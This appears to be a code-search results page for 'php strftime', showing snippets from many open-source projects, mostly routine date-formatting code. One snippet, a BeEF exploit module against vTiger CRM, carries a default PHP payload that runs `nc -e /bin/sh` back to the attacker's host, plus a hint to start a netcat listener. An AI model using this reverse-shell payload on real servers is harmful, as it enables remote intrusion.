100+ results for 'php strftime'
Not the results you expected?
SunInfo.pm (https://gitlab.com/jslee1/zeroclickinfo-goodies) Perl · 135 lines
62 # We don't care for which one they asked, we compute both sunrise and sunset
63 my $sunrise = $sun_at_loc->sunrise_datetime($dt)->strftime($time_format);
64 my $sunset = $sun_at_loc->sunset_datetime($dt)->strftime($time_format);
106 my ($where, $when, $rise, $set) = @_;
108 $rise =~ s/^\s+//g; # strftime puts a space in front for single-digits.
109 $set =~ s/^\s+//g;
main.c (https://github.com/oscarbenjamin/sode.git) C · 168 lines
db.py (https://github.com/heimojuh/trac-irclogs-plugin.git) Python · 136 lines
TwigHelperExtension.php (https://gitlab.com/aredhel-bazaar/la-taverne-du-hasard) PHP · 211 lines
1 <?php
3 namespace AppBundle\Twig;
40 return array(
41 new \Twig_SimpleFilter('aging', array($this, 'getAging')),
42 new \Twig_SimpleFilter('strftime', array($this, 'strftime')),
43 new \Twig_SimpleFilter('intval', array($this, 'intval')),
44 new \Twig_SimpleFilter('slug', array($this, 'slugify'))
174 * @return string
175 */
176 public function strftime(\DateTime $dateTime, string $format) {
177 return $this->dateFormatter->formatObject($dateTime, $format);
178 }
lib.php (https://github.com/moodlehq/totara.git) PHP · 136 lines
1 <?php
2 /*
3 * This file is part of Totara LMS
24 */
25 /**
26 * template/lib.php
27 *
28 * Library of functions related to competency templates.
92 $cssclass = !$template->visible ? 'dimmed' : '';
94 $row[] = $OUTPUT->action_link(new moodle_url('prefix/competency/template/view.php', array('id' => $template->id)), $template->fullname, null, array('class' => $cssclass));
95 $row[] = $OUTPUT->action_link(new moodle_url('prefix/competency/template/view.php', array('id' => $template->id)), $template->competencycount, null, array('class' => $cssclass));
96 $row[] = userdate($template->timecreated, get_string('strftimedaydate', 'langconfig'));
98 // Add edit link
display.php (https://github.com/edmondscommerce/XAMPP-Magento-Demo-Site.git) PHP · 161 lines
1 <?php
2 /**
3 * $Header: /repository/pear/Log/Log/display.php,v 1.11 2008/03/20 16:03:57 jon Exp $
9 /**
10 * The Log_display class is a concrete implementation of the Log::
11 * abstract class which writes message into browser in usual PHP maner.
12 * This may be useful because when you use PEAR::setErrorHandling in
13 * PEAR_ERROR_CALLBACK mode error messages are not displayed by
14 * PHP error handler.
15 *
16 * @author Paul Yanchenko <pusher@inaco.ru>
18 * @package Log
19 *
20 * @example display.php Using the display handler.
21 */
22 class Log_display extends Log
show.html.erb (https://github.com/andyl/BAMRU-Private.git) Ruby HTML · 134 lines
25 <tr>
26 <td align=right width=150><b>Message Date:</b></td>
27 <td><%= @message.created_at.strftime("%y-%m-%d %H:%M:%S") %></td>
28 </tr>
29 <%= raw child_repage_link(@message) %>
66 <div style='background-color: lightgray; padding: 3px 25px 3px 108px;'>
67 <div style='float:right; text-align: right;'>
68 <a href="http://wiki.bamru.net/index.php/Paging_Protips" target="_blank">help</a>
69 </div>
70 <div style='text-align: left;'>
87 <tr>
88 <td><%= link_to(d.member.try(:full_name) || "", member_path(d.member || 0)) %><%= raw message_oot_helper(d) %><%= raw message_bounce_helper(d) %></td>
89 <td align=center><%= d.updated_at.strftime("%m-%d %H:%M") %></td>
90 <td align=center><%= raw yes_no_read d.read %></td>
91 <td align=center><%= raw rsvp_display_link(d) if d.member %></td>
list.html.erb (https://github.com/tontione/jobsworth.git) Ruby HTML · 106 lines
date.c (https://github.com/HaxeFoundation/hashlink.git) C · 155 lines
display.php
(https://bitbucket.org/chamilo/chamilo-dev/)
PHP · 171 lines
✨ Summary
This PHP class, Log_display
, is a concrete implementation of the Log
abstract class. It writes log messages to the browser in a standard format, allowing for customizable line formatting and timestamp display. The class also notifies observers about new log messages and provides methods for opening and closing the logging handler.
This PHP class, Log_display
, is a concrete implementation of the Log
abstract class. It writes log messages to the browser in a standard format, allowing for customizable line formatting and timestamp display. The class also notifies observers about new log messages and provides methods for opening and closing the logging handler.
1 <?php
2 /**
3 * $Header$
9 /**
10 * The Log_display class is a concrete implementation of the Log::
11 * abstract class which writes message into browser in usual PHP maner.
12 * This may be useful because when you use PEAR::setErrorHandling in
13 * PEAR_ERROR_CALLBACK mode error messages are not displayed by
14 * PHP error handler.
15 *
16 * @author Paul Yanchenko <pusher@inaco.ru>
18 * @package Log
19 *
20 * @example display.php Using the display handler.
21 */
22 class Log_display extends Log
custom_actions.py (https://github.com/dimagi/commcare-hq.git) Python · 125 lines
rcast.py (https://github.com/vincelwt/RaspberryCast.git) Python · 156 lines
train.py (https://github.com/zekunhao1995/DualSDF.git) Python · 152 lines
55 log_prefix = log_prefix + 'special_{}_'.format(args.special)
56 cfg_file_name = os.path.splitext(os.path.basename(args.config))[0]
57 run_time = time.strftime('%Y-%b-%d-%H-%M-%S')
58 # Currently save dir and log_dir are the same
59 config.log_name = "logs/{}{}_{}".format(log_prefix, cfg_file_name, run_time)
gzb.py (https://github.com/DarkSand/fetchman.git) Python · 110 lines
30 @classmethod
31 def init_start_requests(cls):
32 cls.start_requests.extend([Request(url='http://www.gengzhongbang.com/14/index.php?page=%s' % page, priority=0, meta={'newsCateId': '20171102111913008'}) for page in range(1, 9)])
33 cls.start_requests.extend([Request(url='http://www.gengzhongbang.com/10/index.php?page=%s' % page, priority=0, meta={'newsCateId': '20171102111913008'}) for page in range(1, 9)])
76 soup = bs(response.m_response.content, 'lxml')
77 result = dict()
78 result['newsProductId'] = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) + SeqUtil.get_seq()
79 result['newsCateId'] = response.request.meta['newsCateId']
80 result['name'] = response.request.meta['name']
reporter.py (https://bitbucket.org/iwuyan/stemformatics.git) Python · 147 lines
1 # (c) 2005 Ian Bicking and contributors; written for Paste (http://pythonpaste.org)
2 # Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
4 from email.MIMEText import MIMEText
24 def format_date(self, exc_data):
25 return time.strftime('%c', exc_data.date)
27 def format_html(self, exc_data, **kw):
manage_posts.twig (git://github.com/vito/chyrp.git) Twig Template · 75 lines
5 {% block content %}
6 <h2>${ "Need more detail?" | translate }</h2>
7 <form class="detail" action="index.php" method="get" accept-charset="utf-8">
8 <fieldset>
9 <input type="hidden" name="action" value="manage_posts" />
20 <option value="">----------</option>
21 {% for archive in theme.archives_list %}
22 <option value="${ archive.when | strftime("%Y-%m") }"${ GET.month | option_selected(archive.when | strftime("%Y-%m")) }>${ archive.when | strftime("%B %Y") } ($archive.count)</option>
23 {% endfor %}
24 </select>
45 <tr id="post_$post.id" class="post $post.status_class{% if loop.last %} last{% endif %}">
46 <td class="main"><a href="$post.url">${ post.title | truncate }</a></td>
47 <td>${ post.created_at | strftime }</td>
48 <td>$post.status_name</td>
49 <td>$post.user.login</td>
index.php (https://github.com/moodle/moodle.git) PHP · 128 lines
1 <?php
3 // This file is part of Moodle - http://moodle.org/
28 */
30 require_once('../../config.php');
31 require_once($CFG->libdir . '/adminlib.php');
43 if (!\core\hub\registration::is_registered()) {
44 redirect(new moodle_url('/admin/registration/index.php'));
45 }
46 }
58 $isinitialregistration = \core\hub\registration::show_after_install(true);
59 if (!$returnurl = optional_param('returnurl', null, PARAM_LOCALURL)) {
60 $returnurl = $isinitialregistration ? '/admin/index.php' : '/admin/registration/index.php';
61 }
type_base.php (https://github.com/pauln/moodle.git) PHP · 220 lines
1 <?php
2 // This file is part of Moodle - http://moodle.org/
3 //
164 *
165 * @param int $time the timestamp in UTC, as obtained from the database
166 * @param string $format strftime format
167 * @param int|float|string $timezone the timezone to use
168 * {@link http://docs.moodle.org/dev/Time_API#Timezone}
LoggerLayoutTTCC.php (https://bitbucket.org/thomashii/vtigercrm-6-for-postgresql.git) PHP · 240 lines
1 <?php
2 /**
3 * log4php is a PHP port of the log4j java logging package.
4 *
5 * <p>This framework is based on log4j (see {@link http://jakarta.apache.org/log4j log4j} for details).</p>
39 /**
40 */
41 require_once(LOG4PHP_DIR . '/LoggerLayout.php');
43 /**
85 /**
86 * @var string date format. See {@link PHP_MANUAL#strftime} for details
87 */
88 var $dateFormat = '%c';
WorkdaysBetween.pm (https://github.com/Apgar-LLC/zeroclickinfo-goodies.git) Perl · 135 lines
class.FEUForcedLogoutTask.php (https://github.com/VesQ/FEUsignUp.git) PHP · 161 lines
timezone-data-2008h-makefile.patch (https://github.com/1000timesdead/portage.git) Patch · 138 lines
channel.php (https://github.com/fracmak/mythweb.git) PHP · 105 lines
29 <?php } ?>
30 Channel <?php echo $this_channel->channum ?>: <?php echo $this_channel->callsign ?> on <?php echo strftime('%B %e, %Y', $_SESSION['list_time']) ?>
31 </div>
32 <table id="x-jumpto" class="commandbox commands" border="0" cellspacing="0" cellpadding="0">
35 <td class="x-hour"><?php channel_select('onchange="$(\'program_listing\').submit()"', $this_channel->chanid) ?></td>
36 <td class="x-day"><a href="<?php echo root_url ?>tv/channel/<?php echo $this_channel->chanid, '/', $_SESSION['list_time'] - (24 * 60 * 60) ?>"
37 ><img src="<?php echo skin_url ?>img/left.gif" alt="<?php echo t('leftl'); ?>"></a>
39 <a href="<?php echo root_url ?>tv/channel/<?php echo $this_channel->chanid, '/', $_SESSION['list_time'] + (24 * 60 * 60) ?>"
40 ><img src="<?php echo skin_url ?>img/right.gif" alt="<?php echo t('right'); ?>"></a>
41 </td>
42 </tr>
45 </div>
47 <?php
49 // Only show the programs if there are some to display
84 ?><tr class="<?php echo $show->css_class ?>">
85 <td class="nowrap" align="center"><a href="<?php echo root_url ?>tv/list?time=<?php echo $show->starttime ?>"><?php echo strftime($_SESSION['time_format'], $show->starttime) ?> - <?php echo strftime($_SESSION['time_format'], $show->endtime) ?></a></td>
86 <td class="<?php echo $show->css_class ?>"><?php
TstampTask.php (https://github.com/richhl/kalturaCE.git) PHP · 168 lines
1 <?php
2 /*
3 * $Id: TstampTask.php 3076 2006-12-18 08:52:12Z fabien $
20 */
22 require_once 'phing/Task.php';
24 /**
77 }
79 $dstamp = strftime('%Y%m%d');
80 $this->prefixProperty('DSTAMP', $dstamp);
115 /**
116 * The date/time pattern to be used. The values are as
117 * defined by the PHP strftime() function.
118 *
119 * @param pattern
TstampTask.php (https://github.com/StefanRHRO/SCRM.git) PHP · 168 lines
1 <?php
2 /*
3 * $Id: TstampTask.php 325 2007-12-20 15:44:58Z hans $
20 */
22 require_once 'phing/Task.php';
24 /**
77 }
79 $dstamp = strftime('%Y%m%d');
80 $this->prefixProperty('DSTAMP', $dstamp);
115 /**
116 * The date/time pattern to be used. The values are as
117 * defined by the PHP strftime() function.
118 *
119 * @param pattern
manage_pages.twig (https://github.com/misterbrandt/chyrp.git) Twig Template · 92 lines
6 <h1>${ "Manage Pages" | translate }</h1>
7 <h2>${ "Need more detail?" | translate }</h2>
8 <form class="detail" action="index.php" method="get" accept-charset="utf-8">
9 <fieldset>
10 <input type="hidden" name="action" value="manage_pages" />
35 <tr id="page_$page.id" class="page{% if loop.last %} last{% endif %}">
36 <td class="main"><a href="$page.url">${ page.title | truncate }</a></td>
37 <td>${ page.created_at | strftime }</td>
38 <td>{% if page.updated %}${ page.updated_at | strftime }{% else %}<span class="sub">${ "never" | translate }</span>{% endif %}</td>
sagepay_us.php (https://gitlab.com/reclamare/mao) PHP · 99 lines
1 <?php
2 class ControllerPaymentSagepayUS extends Controller {
3 public function index() {
18 for ($i = 1; $i <= 12; $i++) {
19 $data['months'][] = array(
20 'text' => strftime('%B', mktime(0, 0, 0, $i, 1, 2000)),
21 'value' => sprintf('%02d', $i)
22 );
29 for ($i = $today['year']; $i < $today['year'] + 11; $i++) {
30 $data['year_expire'][] = array(
31 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)),
32 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i))
commande.web.class.php (https://github.com/Dolibarr/obsolete.git) PHP · 179 lines
1 <?PHP
2 /* Copyright (C) 2005 Rodolphe Quiedeville <rodolphe@quiedeville.org>
3 *
16 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
17 *
18 * $Id: commande.web.class.php,v 1.2 2010/08/24 20:27:24 grandoc Exp $
19 * $Source: /cvsroot/dolibarr/dolibarrmod/telephonie/htdocs/telephonie/fournisseur/commande/commande.web.class.php,v $
23 *
24 */
25 require_once DOL_DOCUMENT_ROOT."/telephonie/dolibarrmail.class.php";
26 require_once DOL_DOCUMENT_ROOT."/telephonie/fournisseur/commande/methode.commande.class.php";
48 $this->date = time();
50 $this->datef = "comm-".$this->fourn->id."-".strftime("%d%b%y-%H:%M:%S", $this->date);
52 $this->filename = $this->datef.".txt";
Sender.php (https://bitbucket.org/iarp/knowledgebase.git) PHP · 187 lines
1 <?php
2 class Sender extends CronCommon
3 {
101 $link = $controller->getLink('entry', $record['category_id'], $record['id']);
102 $link = substr($link, strpos($link, '?'));
103 $link = APP_CLIENT_PATH . 'index.php' . $link;
105 $record['article_link'] = $link;
106 $record['body'] = $this->getSummary($record['body']);
107 $record['date'] = strftime('%d %b, %Y', $record['ts_posted']);
109 $tpl->tplParse($record, 'row');
116 function send($letter, $data) {
118 $mail = new PHPMailer();
119 $mail->From = 'noreplay@';
120 $mail->FromName = 'KB Mailer';
models.py (https://github.com/JeffreyATW/jeffreyatw.git) Python · 101 lines
Checkout.pm (https://github.com/PTFS-Europe/SEDAR-Evergreen.git) Perl · 142 lines
sqlite.php (https://github.com/nysenate/Bluebird-CRM.git) PHP · 224 lines
1 <?php
2 /**
3 * $Header$
12 * Each entry occupies a separate row in the database.
13 *
14 * This implementation uses PHP native Sqlite functions.
15 *
16 * CREATE TABLE log_table (
23 *
24 * @author Bertrand Mansion <bmansion@mamasam.com>
25 * @author Jon Parise <jon@php.net>
26 * @since Log 1.8.3
27 * @package Log
28 *
29 * @example sqlite.php Using the Sqlite handler.
30 */
31 class Log_sqlite extends Log
shop_of_discount.php (https://gitlab.com/xusasuke6/Slg_php) PHP · 151 lines
1 <?php
2 define('IN_DATANG_SYSTEM', true);
3 include "../../../config/config.php";
4 include SYSDIR_ADMIN."/include/global.php";
5 include SYSDIR_ADMIN."/class/log_gold_class.php";
12 else
13 {
14 $dateStart = strftime ("%Y-%m-%d", time()-(60*60*24)*5 );
15 }
21 else
22 {
23 $dateEnd= strftime ("%Y-%m-%d",time());
24 }
25 $u_start = strtotime($dateStart.' 00:00:00');
PHP5ExtensionNodeBuilder.php (https://github.com/appflower/sfPropel15Plugin.git) PHP · 111 lines
1 <?php
3 /**
9 */
11 require_once 'builder/om/ObjectBuilder.php';
13 /**
14 * Generates the empty PHP5 stub node object class for user object model (OM).
15 *
16 * This class produces the empty stub class that can be customized with application
23 * @package propel.generator.builder.om
24 */
25 class PHP5ExtensionNodeBuilder extends ObjectBuilder
26 {
extract_metadata_from_enron_json.py (https://gitlab.com/f7o/newsleak) Python · 91 lines
search.php (https://github.com/ULCC/mahara.git) PHP · 104 lines
1 <?php
2 /**
3 *
13 define('INSTITUTIONALSTAFF', 1);
14 define('MENUITEM', 'configusers/usersearch');
15 require(dirname(dirname(dirname(__FILE__))) . '/init.php');
16 define('TITLE', get_string('usersearch', 'admin'));
17 define('SECTION_PLUGINTYPE', 'core');
18 define('SECTION_PLUGINNAME', 'admin');
19 define('SECTION_PAGE', 'usersearch');
20 require_once('searchlib.php');
22 $search = (object) array(
27 'sortdir' => param_alpha('sortdir', 'asc'),
28 'loggedin' => param_alpha('loggedin', 'any'),
29 'loggedindate' => param_variable('loggedindate', strftime(get_string('strftimedatetimeshort'))),
30 'duplicateemail' => param_boolean('duplicateemail', false),
31 );
page_managedocs_list.mustache (https://github.com/markn86/moodle.git) Mustache · 151 lines
77 <div>
78 <div class="btn-group">
79 <a href="{{pluginbaseurl}}/editpolicydoc.php" class="btn btn-primary">{{#str}} newpolicy, tool_policy {{/str}}</a>
80 </div>
81 </div>
118 <small>
119 <time title="{{#str}} lastmodified, core {{/str}}" datetime="{{#userdate}} {{timemodified}}, %Y-%m-%dT%T%z {{/userdate}}">
120 {{#userdate}} {{timemodified}}, {{#str}} strftimedatetime, core_langconfig {{/str}} {{/userdate}}
121 </time>
122 </small>
authorinfo.vim (https://github.com/Alan0521/vimfiles.git) Vim Script · 177 lines
36 \['sh',['^#!.*$']],
37 \['python',['^#!.*$','^#.*coding:.*$']],
38 \['php',['^<?.*']]
39 \]
40 let oldNum = line('.')
129 call setline('.',noTypeChar.preChar.' Version: 0.0.1')
130 normal o
131 call setline('.',noTypeChar.preChar.' LastChange: '.strftime("%Y-%m-%d %H:%M:%S"))
132 normal o
133 call setline('.',noTypeChar.preChar.' History:')
162 endif
163 if line =~ '^.*LastChange:\S*.*$'
164 let newline=substitute(line,':\(\s*\)\(\S.*$\)$',':\1'.strftime("%Y-%m-%d %H:%M:%S"),'g')
165 call setline(n,newline)
166 let updated = 1
extract-op-data.py (https://bitbucket.org/projetrtma/motion-classification.git) Python · 153 lines
__init__.py (https://github.com/mbologna/BitFountain.git) Python · 88 lines
function.html_select_time.php (https://github.com/raphaelbastide/berta.git) PHP · 197 lines
1 <?php
2 /**
3 * Smarty plugin
14 * Purpose: Prints the dropdowns for time selection
15 *
16 * @link http://smarty.php.net/manual/en/language.function.html.select.time.php {html_select_time}
17 (Smarty online manual)
18 * @author Roberto Berto <roberto@berto.net>
26 function smarty_function_html_select_time($params, $smarty, $template)
27 {
28 require_once(SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php');
29 require_once(SMARTY_PLUGINS_DIR . 'function.html_options.php');
41 $minute_interval = 1;
42 $second_interval = 1;
43 /* Should the select boxes be part of an array when returned from PHP?
44 e.g. setting it to "birthday", would create "birthday[Hour]",
45 "birthday[Minute]", "birthday[Seconds]" & "birthday[Meridian]".
DateTest.php (https://github.com/Weasle/Formagic.git) PHP · 118 lines
1 <?php
2 /**
3 * Formagic
8 * with this package in the file LICENSE.txt.
9 * It is also available through the world-wide-web at
10 * http://www.formagic-php.net/license-agreement/
11 * If you did not receive a copy of the license and are unable to
12 * obtain it through the world-wide-web, please send an email
13 * to license@formagic-php.net so we can send you a copy immediately.
14 *
15 * @author Florian Sonnenburg
16 * @copyright 2007-2014 Florian Sonnenburg
17 * @license http://www.formagic-php.net/license-agreement/ New BSD License
18 */
os_stat.ipynb (https://github.com/nkmk/python-snippets.git) Jupyter · 589 lines
test_maxnum.py (https://bitbucket.org/chenfuzhi/scan_proxy_ip.git) Python · 163 lines
sys_vars.inc.php (https://github.com/shafiqissani/ASTRA-College-Website.git) PHP · 264 lines
1 <?php
2 /*
3 +--------------------------------------------------------------------------+
4 | phpMyBackupPro |
5 +--------------------------------------------------------------------------+
6 | Copyright (c) 2004-2007 by Dirk Randhahn |
7 | http://www.phpMyBackupPro.net |
8 | version information can be found in definitions.php. |
43 if (isset($CONF['sql_passwd']) && isset($CONF['sql_user'])) {
44 if (!isset($PMBP_SYS_VAR['security_key']) && $CONF['sql_passwd'] && $CONF['sql_user']) {
45 $PMBP_SYS_VAR['security_key']=md5($_SERVER['PHP_SELF'].$CONF['sql_passwd'].$CONF['sql_user']);
46 $update=TRUE;
47 }
PeriodeNote.php (https://github.com/tbelliard/gepi.git) PHP · 128 lines
1 <?php
25 * Retourne la date de debut de periode
26 *
27 * @param string $format The date/time format string (either date()-style or strftime()-style).
28 * If format is NULL, then the raw DateTime object will be returned.
29 *
44 //c'est la premiere periode
45 //on va renvoyer par default le début de l'année scolaire
46 include_once(dirname(__FILE__).'/../../../helpers/EdtHelper.php');
47 $dateDebut = EdtHelper::getPremierJourAnneeScolaire($this->getDateFin());
48 }
77 return $this->dateDebut;
78 } elseif (strpos($format, '%') !== false) {
79 return strftime($format, $this->dateDebut->format('U'));
80 } else {
81 return $this->dateDebut->format($format);
ExtensionQueryInheritanceBuilder.php (https://github.com/propelorm/Propel2.git) PHP · 152 lines
1 <?php
3 /**
79 /**
80 * Adds class phpdoc comment and opening of class.
81 *
82 * @param string $script The script will be modified in this method.
102 *";
103 if ($this->getBuildProperty('generator.objectModel.addTimeStamp')) {
104 $now = strftime('%c');
105 $script .= "
106 * This class was autogenerated by Propel " . $this->getBuildProperty('general.version') . " on:
TstampTask.php (https://github.com/vinnivinsachi/Vincent-DR.git) PHP · 168 lines
1 <?php
2 /*
3 * $Id: TstampTask.php 82 2006-07-07 18:15:35Z mrook $
20 */
22 require_once 'phing/Task.php';
24 /**
77 }
79 $dstamp = strftime('%Y%m%d');
80 $this->prefixProperty('DSTAMP', $dstamp);
115 /**
116 * The date/time pattern to be used. The values are as
117 * defined by the PHP strftime() function.
118 *
119 * @param pattern
Maillog.php (https://github.com/ewandor/horde.git) PHP · 266 lines
extended.vim (https://gitlab.com/lokiexinferis/vim-configs) Vim Script · 168 lines
console.php (https://github.com/sseshachala/Open-Web-Analytics.git) PHP · 208 lines
1 <?php
2 /**
3 * $Header$
11 * abstract class which writes message to the text console.
12 *
13 * @author Jon Parise <jon@php.net>
14 * @since Log 1.1
15 * @package Log
16 *
17 * @example console.php Using the console handler.
18 */
19 class Log_console extends Log
49 /**
50 * String containing the timestamp format. It will be passed directly to
51 * strftime(). Note that the timestamp string will generated using the
52 * current locale.
53 * @var string
App.php (https://github.com/sluther/Cerb5-Example-Plugins.git) PHP · 132 lines
tag_generator.rb (https://gitlab.com/mcorp/mcorp-blog) Ruby · 169 lines
6 #
7 # Copyright (c) 2012 Robby Edwards, http://robbyedwards.com/
8 # Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php)
9 #
10 # Octopress plugin to generate tag pages.
159 # Returns string
160 def date_to_html_string(date)
161 result = '<span class="month">' + date.strftime('%b').upcase + '</span> '
162 result += date.strftime('<span class="day">%d</span> ')
163 result += date.strftime('<span class="year">%Y</span> ')
164 result
165 end
Zenity.php (https://github.com/machour/php-gnome.git) PHP · 329 lines
1 <?php
2 /**
3 * Zenity class definition file
9 * Use ZenityWrapper for execution
10 */
11 require_once 'ZenityWrapper.php';
13 /**
14 * Zenity - A simple Zenity PHP wrapper
15 *
16 * @todo Add helper methods for global options settings
188 // Add and hide the internal id column
189 array_unshift($fieldsNames, '@@@PHPZENITYID@@@');
191 if ($type == 'checklist' || $type == 'radiolist') {
external.php (https://gitlab.com/unofficial-mirrors/moodle) PHP · 153 lines
1 <?php
2 // This file is part of Moodle - http://moodle.org/
3 //
27 defined('MOODLE_INTERNAL') || die();
29 require_once("$CFG->libdir/externallib.php");
30 require_once("$CFG->dirroot/comment/lib.php");
137 'format' => new external_format_value('content'),
138 'timecreated' => new external_value(PARAM_INT, 'Time created (timestamp)'),
139 'strftimeformat' => new external_value(PARAM_NOTAGS, 'Time format'),
140 'profileurl' => new external_value(PARAM_URL, 'URL profile'),
141 'fullname' => new external_value(PARAM_NOTAGS, 'fullname'),
formatter.py (https://github.com/mcdonc/ptah.git) Python · 207 lines
sfRss10FeedTest.php (https://github.com/malacon/rbwords.git) PHP · 127 lines
1 <?php
3 define('SF_ROOT_DIR', realpath(dirname(__FILE__).'/../../../..'));
4 define('SF_APP', 'frontend');
5 include(dirname(__FILE__).'/../../../../test/bootstrap/functional.php');
7 $b = new sfTestBrowser();
87 $t->is((string) $feedXml->item[0]->description, $itemParams['description'], '<item><description> contains the item description');
88 $t->is((string) $feedXml->item[0]->encoded, $itemParams['content'], '<item><content:encoded> contains the item content');
89 $t->is((string) $feedXml->item[0]->date, gmstrftime('%Y-%m-%dT%H:%M:%SZ', $itemParams['pubDate']), '<item><dc:date> contains the proper item publication date');
90 $t->is((string) $feedXml->item[0]->creator, $itemParams['authorName'], '<item><dc:creator> contains the proper item author name');
index.html (https://gitlab.com/abdulhalim/amss) HTML · 156 lines
module.rb (https://github.com/asaafan/BeEF.git) Ruby · 64 lines
31 super({
32 'Name' => 'VTiger CRM Upload Exploit',
33 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM <a href="http://www.vtiger.com/">vtiger 5.0.4</a><br />The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888. <br><br>vTigerCRM 5.0.4: Use extension "PHP" and php code.<br>vTigerCRM 5.2.0: Use extension "phtml" and php code.<br>vTigerCRM 5.2.1: Use extensions "shtml" and SSI code.',
34 'Category' => 'Network',
35 'Author' => ['wade', 'bm', 'pipes', 'xntrik', 'yorikv'],
37 [
38 {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'},
39 {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'},
40 {'name'=>'mal_filename','ui_label'=>'Malicious Filename','value'=>rand(32**10).to_s(32),'width'=>'400px'},
41 {'name'=>'mal_ext','ui_label'=>'Malicious File Extension','value'=>'PHP','width'=>'400px'},
42 {'name'=>'vtiger_php','ui_label'=>'Injected PHP (must escape single quotes)','value'=>'<?php passthru("/bin/nc -e /bin/sh '+beef_host+' 8888"); ?>','type'=>'textarea','width'=>'400px','height'=>'100px'},
43 {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'}
44 ],
function.html_select_time.php (https://bitbucket.org/seyar/kinda.local.git) PHP · 168 lines
1 <?php
2 function quicky_function_html_select_time($params,$quicky)
3 {
14 $minute_interval = 1;
15 $second_interval = 1;
16 /* Should the select boxes be part of an array when returned from PHP?
17 e.g. setting it to "birthday", would create "birthday[Hour]",
18 "birthday[Minute]", "birthday[Seconds]" & "birthday[Meridian]".
80 $html_result .= quicky_function_html_options(array('output' => $hours,
81 'values' => $hours,
82 'selected' => strftime($hour_fmt, $time),
83 'print_result' => false),
84 $quicky);
90 for ($i = 0, $for_max = count($all_minutes); $i < $for_max; $i+= $minute_interval)
91 $minutes[] = sprintf('%02d', $all_minutes[$i]);
92 $selected = intval(floor(strftime('%M', $time) / $minute_interval) * $minute_interval);
93 $html_result .= '<select name=';
94 if (null !== $field_array) {
24_nagtemplate.xml.html (https://github.com/horde/horde-web.git) HTML · 24 lines
8 <table class='oratorHeader' border='0' cellspacing='0' cellpadding='1' width='100%'><tr>
9 <td width='1%' align='left' class='oratorHeaderBack' valign='center' nowrap='nowrap'><a href="23_templates.xml.html" onmouseout="status='';" onmouseover="status='Go to Templates'; return true;"><img src="presentation_back.gif" border="0" alt="Back" title="Back" /></a></td><td style="cursor: hand;" onclick="location.href='23_templates.xml.html';" align="left" class="oratorHeaderBack" width="24%"><table border="0" cellspacing="0" cellpadding="0"><tr><td nowrap="nowrap"><div class='oratorTitleHigh'>Templates</div></td></tr></table></td>
10 <td width='50%' align='center' style='cursor: hand;' class='oratorHeaderBack' valign='center' nowrap='nowrap' onclick='location.href="/horde/orator/slide.php?Horde=89b51803872c27be93225868fd7053c3&p=nysa-horde_talk&s=24";'><table border="0" cellspacing="0" cellpadding="0"><tr><td nowrap="nowrap"><div class='oratorTitle'>A Nag Template</div></td></tr></table></td>
11 <td style='cursor: hand;' onclick='location.href="25_nagprefs.xml.html";' width='24%' align='right' class='oratorHeaderBack' valign='center' nowrap='nowrap'><table border="0" cellspacing="0" cellpadding="0"><tr><td nowrap="nowrap"><div class='oratorTitleHigh'>Nag Preferences</div></td></tr></table></td><td width="1%" align="right"><a href="25_nagprefs.xml.html" onmouseout="status='';" onmouseover="status='Go to Nag Preferences'; return true;"><img src="presentation_forward.gif" border="0" alt="Forward" title="Forward" /></a></td>
12 </tr></table>
16 <p>An example template from Nag:</p>
17 <code><font color="#000000">
18 <br /><tr class="<font color="#0000BB"><?= $style ?></font>"><br /> <td width="3%" nowrap="nowrap"><br /> <input type="checkbox" name="items[]" value="<font color="#0000BB"><?= $task_id</font><font color="#007700">; </font><font color="#0000BB">?></font>" /><br /> </td><br /> <td width="67%" nowrap="nowrap"><br /> <font color="#0000BB"><?= Horde</font><font color="#007700">::</font><font color="#0000BB">link</font><font color="#007700">(</font><font color="#0000BB">Horde</font><font color="#007700">::</font><font color="#0000BB">applicationUrl</font><font color="#007700">(</font><font color="#DD0000">"view.php?task=$task_id"</font><font color="#007700">), </font><font color="#0000BB">_</font><font color="#007700">(</font><font color="#DD0000">"View Task Details"</font><font color="#007700">)) </font><font color="#0000BB">?><?= htmlspecialchars</font><font color="#007700">(</font><font color="#0000BB">$task</font><font color="#007700">[</font><font color="#DD0000">'name'</font><font color="#007700">]) </font><font color="#0000BB">?></font></a><br /> </td><br /> <td width="15%" nowrap="nowrap"><font color="#0000BB"><?= strftime</font><font color="#007700">(</font><font color="#0000BB">$conf</font><font color="#007700">[</font><font color="#DD0000">'list'</font><font color="#007700">][</font><font color="#DD0000">'date_format'</font><font color="#007700">], </font><font color="#0000BB">$task</font><font color="#007700">[</font><font color="#DD0000">'added'</font><font color="#007700">]); </font><font color="#0000BB">?></font></td><br /> <td width="15%" nowrap="nowrap"><br /><font color="#0000BB"><?php<br /> </font><font color="#007700">if (</font><font color="#0000BB">$task</font><font color="#007700">[</font><font color="#DD0000">'due'</font><font color="#007700">] > </font><font color="#0000BB">0</font><font color="#007700">) {<br /> echo </font><font color="#0000BB">strftime</font><font color="#007700">(</font><font color="#0000BB">$conf</font><font color="#007700">[</font><font color="#DD0000">'list'</font><font color="#007700">][</font><font color="#DD0000">'date_format'</font><font color="#007700">], </font><font color="#0000BB">$task</font><font color="#007700">[</font><font color="#DD0000">'due'</font><font color="#007700">]);<br /> } else {<br /> echo </font><font color="#0000BB">_</font><font color="#007700">(</font><font color="#DD0000">"None"</font><font color="#007700">);<br /> }<br /></font><font color="#0000BB">?><br /></font> </td><br /></tr><br /> </font>
19 </code><br />
TimeHHelper.php (https://github.com/Schlaefer/Saito.git) PHP · 198 lines
1 <?php
3 declare(strict_types=1);
119 break;
120 case 'eng':
121 $string = strftime('%F %T', $timestamp);
122 break;
123 default:
124 $string = strftime($format, $timestamp);
125 }
